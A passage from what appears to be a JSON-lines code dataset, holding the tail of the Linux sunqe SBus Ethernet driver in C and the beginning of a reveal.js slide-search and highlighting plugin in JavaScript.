{\n\t\tprintk(KERN_ERR \"%s: Babble error.\\n\", dev->name);\n\t}\n\n\tif (qe_status & CREG_STAT_CCOFLOW) {\n\t\tdev->stats.tx_errors += 256;\n\t\tdev->stats.collisions += 256;\n\t}\n\n\tif (qe_status & CREG_STAT_TXDERROR) {\n\t\tprintk(KERN_ERR \"%s: Transmit descriptor is bogus, driver bug.\\n\", dev->name);\n\t\tdev->stats.tx_errors++;\n\t\tdev->stats.tx_aborted_errors++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (qe_status & CREG_STAT_TXLERR) {\n\t\tprintk(KERN_ERR \"%s: Transmit late error.\\n\", dev->name);\n\t\tdev->stats.tx_errors++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (qe_status & CREG_STAT_TXPERR) {\n\t\tprintk(KERN_ERR \"%s: Transmit DMA parity error.\\n\", dev->name);\n\t\tdev->stats.tx_errors++;\n\t\tdev->stats.tx_aborted_errors++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (qe_status & CREG_STAT_TXSERR) {\n\t\tprintk(KERN_ERR \"%s: Transmit DMA sbus error ack.\\n\", dev->name);\n\t\tdev->stats.tx_errors++;\n\t\tdev->stats.tx_aborted_errors++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (qe_status & CREG_STAT_RCCOFLOW) {\n\t\tdev->stats.rx_errors += 256;\n\t\tdev->stats.collisions += 256;\n\t}\n\n\tif (qe_status & CREG_STAT_RUOFLOW) {\n\t\tdev->stats.rx_errors += 256;\n\t\tdev->stats.rx_over_errors += 256;\n\t}\n\n\tif (qe_status & CREG_STAT_MCOFLOW) {\n\t\tdev->stats.rx_errors += 256;\n\t\tdev->stats.rx_missed_errors += 256;\n\t}\n\n\tif (qe_status & CREG_STAT_RXFOFLOW) {\n\t\tprintk(KERN_ERR \"%s: Receive fifo overflow.\\n\", dev->name);\n\t\tdev->stats.rx_errors++;\n\t\tdev->stats.rx_over_errors++;\n\t}\n\n\tif (qe_status & CREG_STAT_RLCOLL) {\n\t\tprintk(KERN_ERR \"%s: Late receive collision.\\n\", dev->name);\n\t\tdev->stats.rx_errors++;\n\t\tdev->stats.collisions++;\n\t}\n\n\tif (qe_status & CREG_STAT_FCOFLOW) {\n\t\tdev->stats.rx_errors += 256;\n\t\tdev->stats.rx_frame_errors += 256;\n\t}\n\n\tif (qe_status & CREG_STAT_CECOFLOW) {\n\t\tdev->stats.rx_errors += 256;\n\t\tdev->stats.rx_crc_errors += 256;\n\t}\n\n\tif (qe_status & CREG_STAT_RXDROP) {\n\t\tprintk(KERN_ERR \"%s: Receive packet dropped.\\n\", dev->name);\n\t\tdev->stats.rx_errors++;\n\t\tdev->stats.rx_dropped++;\n\t\tdev->stats.rx_missed_errors++;\n\t}\n\n\tif (qe_status & CREG_STAT_RXSMALL) {\n\t\tprintk(KERN_ERR \"%s: Receive buffer too small, driver bug.\\n\", dev->name);\n\t\tdev->stats.rx_errors++;\n\t\tdev->stats.rx_length_errors++;\n\t}\n\n\tif (qe_status & CREG_STAT_RXLERR) {\n\t\tprintk(KERN_ERR \"%s: Receive late error.\\n\", dev->name);\n\t\tdev->stats.rx_errors++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (qe_status & CREG_STAT_RXPERR) {\n\t\tprintk(KERN_ERR \"%s: Receive DMA parity error.\\n\", dev->name);\n\t\tdev->stats.rx_errors++;\n\t\tdev->stats.rx_missed_errors++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (qe_status & CREG_STAT_RXSERR) {\n\t\tprintk(KERN_ERR \"%s: Receive DMA sbus error ack.\\n\", dev->name);\n\t\tdev->stats.rx_errors++;\n\t\tdev->stats.rx_missed_errors++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (mace_hwbug_workaround)\n\t\tqe_init(qep, 1);\n\treturn mace_hwbug_workaround;\n}\n\n/* Per-QE receive interrupt service routine. Just like on the happy meal\n * we receive directly into skb's with a small packet copy water mark.\n */\nstatic void qe_rx(struct sunqe *qep)\n{\n\tstruct qe_rxd *rxbase = &qep->qe_block->qe_rxd[0];\n\tstruct net_device *dev = qep->dev;\n\tstruct qe_rxd *this;\n\tstruct sunqe_buffers *qbufs = qep->buffers;\n\t__u32 qbufs_dvma = (__u32)qep->buffers_dvma;\n\tint elem = qep->rx_new;\n\tu32 flags;\n\n\tthis = &rxbase[elem];\n\twhile (!((flags = this->rx_flags) & RXD_OWN)) {\n\t\tstruct sk_buff *skb;\n\t\tunsigned char *this_qbuf =\n\t\t\t&qbufs->rx_buf[elem & (RX_RING_SIZE - 1)][0];\n\t\t__u32 this_qbuf_dvma = qbufs_dvma +\n\t\t\tqebuf_offset(rx_buf, (elem & (RX_RING_SIZE - 1)));\n\t\tstruct qe_rxd *end_rxd =\n\t\t\t&rxbase[(elem+RX_RING_SIZE)&(RX_RING_MAXSIZE-1)];\n\t\tint len = (flags & RXD_LENGTH) - 4; /* QE adds ether FCS size to len */\n\n\t\t/* Check for errors. */\n\t\tif (len < ETH_ZLEN) {\n\t\t\tdev->stats.rx_errors++;\n\t\t\tdev->stats.rx_length_errors++;\n\t\t\tdev->stats.rx_dropped++;\n\t\t} else {\n\t\t\tskb = netdev_alloc_skb(dev, len + 2);\n\t\t\tif (skb == NULL) {\n\t\t\t\tdev->stats.rx_dropped++;\n\t\t\t} else {\n\t\t\t\tskb_reserve(skb, 2);\n\t\t\t\tskb_put(skb, len);\n\t\t\t\tskb_copy_to_linear_data(skb, this_qbuf,\n\t\t\t\t\t\t len);\n\t\t\t\tskb->protocol = eth_type_trans(skb, qep->dev);\n\t\t\t\tnetif_rx(skb);\n\t\t\t\tdev->stats.rx_packets++;\n\t\t\t\tdev->stats.rx_bytes += len;\n\t\t\t}\n\t\t}\n\t\tend_rxd->rx_addr = this_qbuf_dvma;\n\t\tend_rxd->rx_flags = (RXD_OWN | ((RXD_PKT_SZ) & RXD_LENGTH));\n\n\t\telem = NEXT_RX(elem);\n\t\tthis = &rxbase[elem];\n\t}\n\tqep->rx_new = elem;\n}\n\nstatic void qe_tx_reclaim(struct sunqe *qep);\n\n/* Interrupts for all QE's get filtered out via the QEC master controller,\n * so we just run through each qe and check to see who is signaling\n * and thus needs to be serviced.\n */\nstatic irqreturn_t qec_interrupt(int irq, void *dev_id)\n{\n\tstruct sunqec *qecp = dev_id;\n\tu32 qec_status;\n\tint channel = 0;\n\n\t/* Latch the status now. */\n\tqec_status = sbus_readl(qecp->gregs + GLOB_STAT);\n\twhile (channel < 4) {\n\t\tif (qec_status & 0xf) {\n\t\t\tstruct sunqe *qep = qecp->qes[channel];\n\t\t\tu32 qe_status;\n\n\t\t\tqe_status = sbus_readl(qep->qcregs + CREG_STAT);\n\t\t\tif (qe_status & CREG_STAT_ERRORS) {\n\t\t\t\tif (qe_is_bolixed(qep, qe_status))\n\t\t\t\t\tgoto next;\n\t\t\t}\n\t\t\tif (qe_status & CREG_STAT_RXIRQ)\n\t\t\t\tqe_rx(qep);\n\t\t\tif (netif_queue_stopped(qep->dev) &&\n\t\t\t (qe_status & CREG_STAT_TXIRQ)) {\n\t\t\t\tspin_lock(&qep->lock);\n\t\t\t\tqe_tx_reclaim(qep);\n\t\t\t\tif (TX_BUFFS_AVAIL(qep) > 0) {\n\t\t\t\t\t/* Wake net queue and return to\n\t\t\t\t\t * lazy tx reclaim.\n\t\t\t\t\t */\n\t\t\t\t\tnetif_wake_queue(qep->dev);\n\t\t\t\t\tsbus_writel(1, qep->qcregs + CREG_TIMASK);\n\t\t\t\t}\n\t\t\t\tspin_unlock(&qep->lock);\n\t\t\t}\n\tnext:\n\t\t\t;\n\t\t}\n\t\tqec_status >>= 4;\n\t\tchannel++;\n\t}\n\n\treturn IRQ_HANDLED;\n}\n\nstatic int qe_open(struct net_device *dev)\n{\n\tstruct sunqe *qep = netdev_priv(dev);\n\n\tqep->mconfig = (MREGS_MCONFIG_TXENAB |\n\t\t\tMREGS_MCONFIG_RXENAB |\n\t\t\tMREGS_MCONFIG_MBAENAB);\n\treturn qe_init(qep, 0);\n}\n\nstatic int qe_close(struct net_device *dev)\n{\n\tstruct sunqe *qep = netdev_priv(dev);\n\n\tqe_stop(qep);\n\treturn 0;\n}\n\n/* Reclaim TX'd frames from the ring. This must always run under\n * the IRQ protected qep->lock.\n */\nstatic void qe_tx_reclaim(struct sunqe *qep)\n{\n\tstruct qe_txd *txbase = &qep->qe_block->qe_txd[0];\n\tint elem = qep->tx_old;\n\n\twhile (elem != qep->tx_new) {\n\t\tu32 flags = txbase[elem].tx_flags;\n\n\t\tif (flags & TXD_OWN)\n\t\t\tbreak;\n\t\telem = NEXT_TX(elem);\n\t}\n\tqep->tx_old = elem;\n}\n\nstatic void qe_tx_timeout(struct net_device *dev)\n{\n\tstruct sunqe *qep = netdev_priv(dev);\n\tint tx_full;\n\n\tspin_lock_irq(&qep->lock);\n\n\t/* Try to reclaim, if that frees up some tx\n\t * entries, we're fine.\n\t */\n\tqe_tx_reclaim(qep);\n\ttx_full = TX_BUFFS_AVAIL(qep) <= 0;\n\n\tspin_unlock_irq(&qep->lock);\n\n\tif (! tx_full)\n\t\tgoto out;\n\n\tprintk(KERN_ERR \"%s: transmit timed out, resetting\\n\", dev->name);\n\tqe_init(qep, 1);\n\nout:\n\tnetif_wake_queue(dev);\n}\n\n/* Get a packet queued to go onto the wire. */\nstatic int qe_start_xmit(struct sk_buff *skb, struct net_device *dev)\n{\n\tstruct sunqe *qep = netdev_priv(dev);\n\tstruct sunqe_buffers *qbufs = qep->buffers;\n\t__u32 txbuf_dvma, qbufs_dvma = (__u32)qep->buffers_dvma;\n\tunsigned char *txbuf;\n\tint len, entry;\n\n\tspin_lock_irq(&qep->lock);\n\n\tqe_tx_reclaim(qep);\n\n\tlen = skb->len;\n\tentry = qep->tx_new;\n\n\ttxbuf = &qbufs->tx_buf[entry & (TX_RING_SIZE - 1)][0];\n\ttxbuf_dvma = qbufs_dvma +\n\t\tqebuf_offset(tx_buf, (entry & (TX_RING_SIZE - 1)));\n\n\t/* Avoid a race... */\n\tqep->qe_block->qe_txd[entry].tx_flags = TXD_UPDATE;\n\n\tskb_copy_from_linear_data(skb, txbuf, len);\n\n\tqep->qe_block->qe_txd[entry].tx_addr = txbuf_dvma;\n\tqep->qe_block->qe_txd[entry].tx_flags =\n\t\t(TXD_OWN | TXD_SOP | TXD_EOP | (len & TXD_LENGTH));\n\tqep->tx_new = NEXT_TX(entry);\n\n\t/* Get it going. */\n\tsbus_writel(CREG_CTRL_TWAKEUP, qep->qcregs + CREG_CTRL);\n\n\tdev->stats.tx_packets++;\n\tdev->stats.tx_bytes += len;\n\n\tif (TX_BUFFS_AVAIL(qep) <= 0) {\n\t\t/* Halt the net queue and enable tx interrupts.\n\t\t * When the tx queue empties the tx irq handler\n\t\t * will wake up the queue and return us back to\n\t\t * the lazy tx reclaim scheme.\n\t\t */\n\t\tnetif_stop_queue(dev);\n\t\tsbus_writel(0, qep->qcregs + CREG_TIMASK);\n\t}\n\tspin_unlock_irq(&qep->lock);\n\n\tdev_kfree_skb(skb);\n\n\treturn NETDEV_TX_OK;\n}\n\nstatic void qe_set_multicast(struct net_device *dev)\n{\n\tstruct sunqe *qep = netdev_priv(dev);\n\tstruct netdev_hw_addr *ha;\n\tu8 new_mconfig = qep->mconfig;\n\tint i;\n\tu32 crc;\n\n\t/* Lock out others. */\n\tnetif_stop_queue(dev);\n\n\tif ((dev->flags & IFF_ALLMULTI) || (netdev_mc_count(dev) > 64)) {\n\t\tsbus_writeb(MREGS_IACONFIG_ACHNGE | MREGS_IACONFIG_LARESET,\n\t\t\t qep->mregs + MREGS_IACONFIG);\n\t\twhile ((sbus_readb(qep->mregs + MREGS_IACONFIG) & MREGS_IACONFIG_ACHNGE) != 0)\n\t\t\tbarrier();\n\t\tfor (i = 0; i < 8; i++)\n\t\t\tsbus_writeb(0xff, qep->mregs + MREGS_FILTER);\n\t\tsbus_writeb(0, qep->mregs + MREGS_IACONFIG);\n\t} else if (dev->flags & IFF_PROMISC) {\n\t\tnew_mconfig |= MREGS_MCONFIG_PROMISC;\n\t} else {\n\t\tu16 hash_table[4];\n\t\tu8 *hbytes = (unsigned char *) &hash_table[0];\n\n\t\tmemset(hash_table, 0, sizeof(hash_table));\n\t\tnetdev_for_each_mc_addr(ha, dev) {\n\t\t\tcrc = ether_crc_le(6, ha->addr);\n\t\t\tcrc >>= 26;\n\t\t\thash_table[crc >> 4] |= 1 << (crc & 0xf);\n\t\t}\n\t\t/* Program the qe with the new filter value. */\n\t\tsbus_writeb(MREGS_IACONFIG_ACHNGE | MREGS_IACONFIG_LARESET,\n\t\t\t qep->mregs + MREGS_IACONFIG);\n\t\twhile ((sbus_readb(qep->mregs + MREGS_IACONFIG) & MREGS_IACONFIG_ACHNGE) != 0)\n\t\t\tbarrier();\n\t\tfor (i = 0; i < 8; i++) {\n\t\t\tu8 tmp = *hbytes++;\n\t\t\tsbus_writeb(tmp, qep->mregs + MREGS_FILTER);\n\t\t}\n\t\tsbus_writeb(0, qep->mregs + MREGS_IACONFIG);\n\t}\n\n\t/* Any change of the logical address filter, the physical address,\n\t * or enabling/disabling promiscuous mode causes the MACE to disable\n\t * the receiver. So we must re-enable them here or else the MACE\n\t * refuses to listen to anything on the network. Sheesh, took\n\t * me a day or two to find this bug.\n\t */\n\tqep->mconfig = new_mconfig;\n\tsbus_writeb(qep->mconfig, qep->mregs + MREGS_MCONFIG);\n\n\t/* Let us get going again. */\n\tnetif_wake_queue(dev);\n}\n\n/* Ethtool support... */\nstatic void qe_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info)\n{\n\tconst struct linux_prom_registers *regs;\n\tstruct sunqe *qep = netdev_priv(dev);\n\tstruct platform_device *op;\n\n\tstrlcpy(info->driver, \"sunqe\", sizeof(info->driver));\n\tstrlcpy(info->version, \"3.0\", sizeof(info->version));\n\n\top = qep->op;\n\tregs = of_get_property(op->dev.of_node, \"reg\", NULL);\n\tif (regs)\n\t\tsnprintf(info->bus_info, sizeof(info->bus_info), \"SBUS:%d\",\n\t\t\t regs->which_io);\n\n}\n\nstatic u32 qe_get_link(struct net_device *dev)\n{\n\tstruct sunqe *qep = netdev_priv(dev);\n\tvoid __iomem *mregs = qep->mregs;\n\tu8 phyconfig;\n\n\tspin_lock_irq(&qep->lock);\n\tphyconfig = sbus_readb(mregs + MREGS_PHYCONFIG);\n\tspin_unlock_irq(&qep->lock);\n\n\treturn phyconfig & MREGS_PHYCONFIG_LSTAT;\n}\n\nstatic const struct ethtool_ops qe_ethtool_ops = {\n\t.get_drvinfo\t\t= qe_get_drvinfo,\n\t.get_link\t\t= qe_get_link,\n};\n\n/* This is only called once at boot time for each card probed. */\nstatic void qec_init_once(struct sunqec *qecp, struct platform_device *op)\n{\n\tu8 bsizes = qecp->qec_bursts;\n\n\tif (sbus_can_burst64() && (bsizes & DMA_BURST64)) {\n\t\tsbus_writel(GLOB_CTRL_B64, qecp->gregs + GLOB_CTRL);\n\t} else if (bsizes & DMA_BURST32) {\n\t\tsbus_writel(GLOB_CTRL_B32, qecp->gregs + GLOB_CTRL);\n\t} else {\n\t\tsbus_writel(GLOB_CTRL_B16, qecp->gregs + GLOB_CTRL);\n\t}\n\n\t/* Packetsize only used in 100baseT BigMAC configurations,\n\t * set it to zero just to be on the safe side.\n\t */\n\tsbus_writel(GLOB_PSIZE_2048, qecp->gregs + GLOB_PSIZE);\n\n\t/* Set the local memsize register, divided up to one piece per QE channel. */\n\tsbus_writel((resource_size(&op->resource[1]) >> 2),\n\t\t qecp->gregs + GLOB_MSIZE);\n\n\t/* Divide up the local QEC memory amongst the 4 QE receiver and\n\t * transmitter FIFOs. Basically it is (total / 2 / num_channels).\n\t */\n\tsbus_writel((resource_size(&op->resource[1]) >> 2) >> 1,\n\t\t qecp->gregs + GLOB_TSIZE);\n\tsbus_writel((resource_size(&op->resource[1]) >> 2) >> 1,\n\t\t qecp->gregs + GLOB_RSIZE);\n}\n\nstatic u8 qec_get_burst(struct device_node *dp)\n{\n\tu8 bsizes, bsizes_more;\n\n\t/* Find and set the burst sizes for the QEC, since it\n\t * does the actual dma for all 4 channels.\n\t */\n\tbsizes = of_getintprop_default(dp, \"burst-sizes\", 0xff);\n\tbsizes &= 0xff;\n\tbsizes_more = of_getintprop_default(dp->parent, \"burst-sizes\", 0xff);\n\n\tif (bsizes_more != 0xff)\n\t\tbsizes &= bsizes_more;\n\tif (bsizes == 0xff || (bsizes & DMA_BURST16) == 0 ||\n\t (bsizes & DMA_BURST32)==0)\n\t\tbsizes = (DMA_BURST32 - 1);\n\n\treturn bsizes;\n}\n\nstatic struct sunqec *get_qec(struct platform_device *child)\n{\n\tstruct platform_device *op = to_platform_device(child->dev.parent);\n\tstruct sunqec *qecp;\n\n\tqecp = platform_get_drvdata(op);\n\tif (!qecp) {\n\t\tqecp = kzalloc(sizeof(struct sunqec), GFP_KERNEL);\n\t\tif (qecp) {\n\t\t\tu32 ctrl;\n\n\t\t\tqecp->op = op;\n\t\t\tqecp->gregs = of_ioremap(&op->resource[0], 0,\n\t\t\t\t\t\t GLOB_REG_SIZE,\n\t\t\t\t\t\t \"QEC Global Registers\");\n\t\t\tif (!qecp->gregs)\n\t\t\t\tgoto fail;\n\n\t\t\t/* Make sure the QEC is in MACE mode. */\n\t\t\tctrl = sbus_readl(qecp->gregs + GLOB_CTRL);\n\t\t\tctrl &= 0xf0000000;\n\t\t\tif (ctrl != GLOB_CTRL_MMODE) {\n\t\t\t\tprintk(KERN_ERR \"qec: Not in MACE mode!\\n\");\n\t\t\t\tgoto fail;\n\t\t\t}\n\n\t\t\tif (qec_global_reset(qecp->gregs))\n\t\t\t\tgoto fail;\n\n\t\t\tqecp->qec_bursts = qec_get_burst(op->dev.of_node);\n\n\t\t\tqec_init_once(qecp, op);\n\n\t\t\tif (request_irq(op->archdata.irqs[0], qec_interrupt,\n\t\t\t\t\tIRQF_SHARED, \"qec\", (void *) qecp)) {\n\t\t\t\tprintk(KERN_ERR \"qec: Can't register irq.\\n\");\n\t\t\t\tgoto fail;\n\t\t\t}\n\n\t\t\tplatform_set_drvdata(op, qecp);\n\n\t\t\tqecp->next_module = root_qec_dev;\n\t\t\troot_qec_dev = qecp;\n\t\t}\n\t}\n\n\treturn qecp;\n\nfail:\n\tif (qecp->gregs)\n\t\tof_iounmap(&op->resource[0], qecp->gregs, GLOB_REG_SIZE);\n\tkfree(qecp);\n\treturn NULL;\n}\n\nstatic const struct net_device_ops qec_ops = {\n\t.ndo_open\t\t= qe_open,\n\t.ndo_stop\t\t= qe_close,\n\t.ndo_start_xmit\t\t= qe_start_xmit,\n\t.ndo_set_rx_mode\t= qe_set_multicast,\n\t.ndo_tx_timeout\t\t= qe_tx_timeout,\n\t.ndo_set_mac_address\t= eth_mac_addr,\n\t.ndo_validate_addr\t= eth_validate_addr,\n};\n\nstatic int qec_ether_init(struct platform_device *op)\n{\n\tstatic unsigned version_printed;\n\tstruct net_device *dev;\n\tstruct sunqec *qecp;\n\tstruct sunqe *qe;\n\tint i, res;\n\n\tif (version_printed++ == 0)\n\t\tprintk(KERN_INFO \"%s\", version);\n\n\tdev = alloc_etherdev(sizeof(struct sunqe));\n\tif (!dev)\n\t\treturn -ENOMEM;\n\n\tmemcpy(dev->dev_addr, idprom->id_ethaddr, ETH_ALEN);\n\n\tqe = netdev_priv(dev);\n\n\tres = -ENODEV;\n\n\ti = of_getintprop_default(op->dev.of_node, \"channel#\", -1);\n\tif (i == -1)\n\t\tgoto fail;\n\tqe->channel = i;\n\tspin_lock_init(&qe->lock);\n\n\tqecp = get_qec(op);\n\tif (!qecp)\n\t\tgoto fail;\n\n\tqecp->qes[qe->channel] = qe;\n\tqe->dev = dev;\n\tqe->parent = qecp;\n\tqe->op = op;\n\n\tres = -ENOMEM;\n\tqe->qcregs = of_ioremap(&op->resource[0], 0,\n\t\t\t\tCREG_REG_SIZE, \"QEC Channel Registers\");\n\tif (!qe->qcregs) {\n\t\tprintk(KERN_ERR \"qe: Cannot map channel registers.\\n\");\n\t\tgoto fail;\n\t}\n\n\tqe->mregs = of_ioremap(&op->resource[1], 0,\n\t\t\t MREGS_REG_SIZE, \"QE MACE Registers\");\n\tif (!qe->mregs) {\n\t\tprintk(KERN_ERR \"qe: Cannot map MACE registers.\\n\");\n\t\tgoto fail;\n\t}\n\n\tqe->qe_block = dma_alloc_coherent(&op->dev, PAGE_SIZE,\n\t\t\t\t\t &qe->qblock_dvma, GFP_ATOMIC);\n\tqe->buffers = dma_alloc_coherent(&op->dev, sizeof(struct sunqe_buffers),\n\t\t\t\t\t &qe->buffers_dvma, GFP_ATOMIC);\n\tif (qe->qe_block == NULL || qe->qblock_dvma == 0 ||\n\t qe->buffers == NULL || qe->buffers_dvma == 0)\n\t\tgoto fail;\n\n\t/* Stop this QE. */\n\tqe_stop(qe);\n\n\tSET_NETDEV_DEV(dev, &op->dev);\n\n\tdev->watchdog_timeo = 5*HZ;\n\tdev->irq = op->archdata.irqs[0];\n\tdev->dma = 0;\n\tdev->ethtool_ops = &qe_ethtool_ops;\n\tdev->netdev_ops = &qec_ops;\n\n\tres = register_netdev(dev);\n\tif (res)\n\t\tgoto fail;\n\n\tplatform_set_drvdata(op, qe);\n\n\tprintk(KERN_INFO \"%s: qe channel[%d] %pM\\n\", dev->name, qe->channel,\n\t dev->dev_addr);\n\treturn 0;\n\nfail:\n\tif (qe->qcregs)\n\t\tof_iounmap(&op->resource[0], qe->qcregs, CREG_REG_SIZE);\n\tif (qe->mregs)\n\t\tof_iounmap(&op->resource[1], qe->mregs, MREGS_REG_SIZE);\n\tif (qe->qe_block)\n\t\tdma_free_coherent(&op->dev, PAGE_SIZE,\n\t\t\t\t qe->qe_block, qe->qblock_dvma);\n\tif (qe->buffers)\n\t\tdma_free_coherent(&op->dev,\n\t\t\t\t sizeof(struct sunqe_buffers),\n\t\t\t\t qe->buffers,\n\t\t\t\t qe->buffers_dvma);\n\n\tfree_netdev(dev);\n\n\treturn res;\n}\n\nstatic int qec_sbus_probe(struct platform_device *op)\n{\n\treturn qec_ether_init(op);\n}\n\nstatic int qec_sbus_remove(struct platform_device *op)\n{\n\tstruct sunqe *qp = platform_get_drvdata(op);\n\tstruct net_device *net_dev = qp->dev;\n\n\tunregister_netdev(net_dev);\n\n\tof_iounmap(&op->resource[0], qp->qcregs, CREG_REG_SIZE);\n\tof_iounmap(&op->resource[1], qp->mregs, MREGS_REG_SIZE);\n\tdma_free_coherent(&op->dev, PAGE_SIZE,\n\t\t\t qp->qe_block, qp->qblock_dvma);\n\tdma_free_coherent(&op->dev, sizeof(struct sunqe_buffers),\n\t\t\t qp->buffers, qp->buffers_dvma);\n\n\tfree_netdev(net_dev);\n\n\treturn 0;\n}\n\nstatic const struct of_device_id qec_sbus_match[] = {\n\t{\n\t\t.name = \"qe\",\n\t},\n\t{},\n};\n\nMODULE_DEVICE_TABLE(of, qec_sbus_match);\n\nstatic struct platform_driver qec_sbus_driver = {\n\t.driver = {\n\t\t.name = \"qec\",\n\t\t.of_match_table = qec_sbus_match,\n\t},\n\t.probe\t\t= qec_sbus_probe,\n\t.remove\t\t= qec_sbus_remove,\n};\n\nstatic int __init qec_init(void)\n{\n\treturn platform_driver_register(&qec_sbus_driver);\n}\n\nstatic void __exit qec_exit(void)\n{\n\tplatform_driver_unregister(&qec_sbus_driver);\n\n\twhile (root_qec_dev) {\n\t\tstruct sunqec *next = root_qec_dev->next_module;\n\t\tstruct platform_device *op = root_qec_dev->op;\n\n\t\tfree_irq(op->archdata.irqs[0], (void *) root_qec_dev);\n\t\tof_iounmap(&op->resource[0], root_qec_dev->gregs,\n\t\t\t GLOB_REG_SIZE);\n\t\tkfree(root_qec_dev);\n\n\t\troot_qec_dev = next;\n\t}\n}\n\nmodule_init(qec_init);\nmodule_exit(qec_exit);\n"} +{"text": "/*\n * Handles finding a text string anywhere in the slides and showing the next occurrence to the user\n * by navigatating to that slide and highlighting it.\n *\n * By Jon Snyder , February 2013\n */\n\nvar RevealSearch = (function() {\n\n\tvar matchedSlides;\n\tvar currentMatchedIndex;\n\tvar searchboxDirty;\n\tvar myHilitor;\n\n// Original JavaScript code by Chirp Internet: www.chirp.com.au\n// Please acknowledge use of this code by including this header.\n// 2/2013 jon: modified regex to display any match, not restricted to word boundaries.\n\nfunction Hilitor(id, tag)\n{\n\n var targetNode = document.getElementById(id) || document.body;\n var hiliteTag = tag || \"EM\";\n var skipTags = new RegExp(\"^(?:\" + hiliteTag + \"|SCRIPT|FORM)$\");\n var colors = [\"#ff6\", \"#a0ffff\", \"#9f9\", \"#f99\", \"#f6f\"];\n var wordColor = [];\n var colorIdx = 0;\n var matchRegex = \"\";\n var matchingSlides = [];\n\n this.setRegex = function(input)\n {\n input = input.replace(/^[^\\w]+|[^\\w]+$/g, \"\").replace(/[^\\w'-]+/g, \"|\");\n matchRegex = new RegExp(\"(\" + input + \")\",\"i\");\n }\n\n this.getRegex = function()\n {\n return matchRegex.toString().replace(/^\\/\\\\b\\(|\\)\\\\b\\/i$/g, \"\").replace(/\\|/g, \" \");\n }\n\n // recursively apply word highlighting\n this.hiliteWords = function(node)\n {\n if(node == undefined || !node) return;\n if(!matchRegex) return;\n if(skipTags.test(node.nodeName)) return;\n\n if(node.hasChildNodes()) {\n for(var i=0; i < node.childNodes.length; i++)\n this.hiliteWords(node.childNodes[i]);\n }\n if(node.nodeType == 3) { // NODE_TEXT\n if((nv = node.nodeValue) && (regs = matchRegex.exec(nv))) {\n \t//find the slide's section element and save it in our list of matching slides\n \tvar secnode = node;\n \twhile (secnode != null && secnode.nodeName != 'SECTION') {\n \t\tsecnode = secnode.parentNode;\n \t}\n\n \tvar slideIndex = Reveal.getIndices(secnode);\n \tvar slidelen = matchingSlides.length;\n \tvar alreadyAdded = false;\n \tfor (var i=0; i < slidelen; i++) {\n \t\tif ( (matchingSlides[i].h === slideIndex.h) && (matchingSlides[i].v === slideIndex.v) ) {\n \t\t\talreadyAdded = true;\n \t\t}\n \t}\n \tif (! alreadyAdded) {\n \t\tmatchingSlides.push(slideIndex);\n \t}\n\n if(!wordColor[regs[0].toLowerCase()]) {\n wordColor[regs[0].toLowerCase()] = colors[colorIdx++ % colors.length];\n }\n\n var match = document.createElement(hiliteTag);\n match.appendChild(document.createTextNode(regs[0]));\n match.style.backgroundColor = wordColor[regs[0].toLowerCase()];\n match.style.fontStyle = \"inherit\";\n match.style.color = \"#000\";\n\n var after = node.splitText(regs.index);\n after.nodeValue = after.nodeValue.substring(regs[0].length);\n node.parentNode.insertBefore(match, after);\n }\n }\n };\n\n // remove highlighting\n this.remove = function()\n {\n var arr = document.getElementsByTagName(hiliteTag);\n while(arr.length && (el = arr[0])) {\n el.parentNode.replaceChild(el.firstChild, el);\n }\n };\n\n // start highlighting at target node\n this.apply = function(input)\n {\n if(input == undefined || !input) return;\n this.remove();\n this.setRegex(input);\n this.hiliteWords(targetNode);\n return matchingSlides;\n };\n\n}\n\n\tfunction openSearch() {\n\t\t//ensure the search term input dialog is visible and has focus:\n\t\tvar inputboxdiv = document.getElementById(\"searchinputdiv\");\n\t\tvar inputbox = document.getElementById(\"searchinput\");\n\t\tinputboxdiv.style.display = \"inline\";\n\t\tinputbox.focus();\n\t\tinputbox.select();\n\t}\n\n\tfunction closeSearch() {\n\t\tvar inputboxdiv = document.getElementById(\"searchinputdiv\");\n\t\tinputboxdiv.style.display = \"none\";\n\t\tif(myHilitor) myHilitor.remove();\n\t}\n\n\tfunction toggleSearch() {\n\t\tvar inputboxdiv = document.getElementById(\"searchinputdiv\");\n\t\tif (inputboxdiv.style.display !== \"inline\") {\n\t\t\topenSearch();\n\t\t}\n\t\telse {\n\t\t\tcloseSearch();\n\t\t}\n\t}\n\n\tfunction doSearch() {\n\t\t//if there's been a change in the search term, perform a new search:\n\t\tif (searchboxDirty) {\n\t\t\tvar searchstring = document.getElementById(\"searchinput\").value;\n\n\t\t\tif (searchstring === '') {\n\t\t\t\tif(myHilitor) myHilitor.remove();\n\t\t\t\tmatchedSlides = null;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//find the keyword amongst the slides\n\t\t\t\tmyHilitor = new Hilitor(\"slidecontent\");\n\t\t\t\tmatchedSlides = myHilitor.apply(searchstring);\n\t\t\t\tcurrentMatchedIndex = 0;\n\t\t\t}\n\t\t}\n\n if (matchedSlides) {\n\t\t\t//navigate to the next slide that has the keyword, wrapping to the first if necessary\n\t\t\tif (matchedSlides.length && (matchedSlides.length <= currentMatchedIndex)) {\n\t\t\t\tcurrentMatchedIndex = 0;\n\t\t\t}\n\t\t\tif (matchedSlides.length > currentMatchedIndex) {\n\t\t\t\tReveal.slide(matchedSlides[currentMatchedIndex].h, matchedSlides[currentMatchedIndex].v);\n\t\t\t\tcurrentMatchedIndex++;\n\t\t\t}\n\t\t}\n\t}\n\n\tvar dom = {};\n\tdom.wrapper = document.querySelector( '.reveal' );\n\n\tif( !dom.wrapper.querySelector( '.searchbox' ) ) {\n\t\t\tvar searchElement = document.createElement( 'div' );\n\t\t\tsearchElement.id = \"searchinputdiv\";\n\t\t\tsearchElement.classList.add( 'searchdiv' );\n searchElement.style.position = 'absolute';\n searchElement.style.top = '10px';\n searchElement.style.right = '10px';\n\t\t\tsearchElement.style.zIndex = 10;\n //embedded base64 search icon Designed by Sketchdock - http://www.sketchdock.com/:\n\t\t\tsearchElement.innerHTML = '';\n\t\t\tdom.wrapper.appendChild( searchElement );\n\t}\n\n\tdocument.getElementById(\"searchbutton\").addEventListener( 'click', function(event) {\n\t\tdoSearch();\n\t}, false 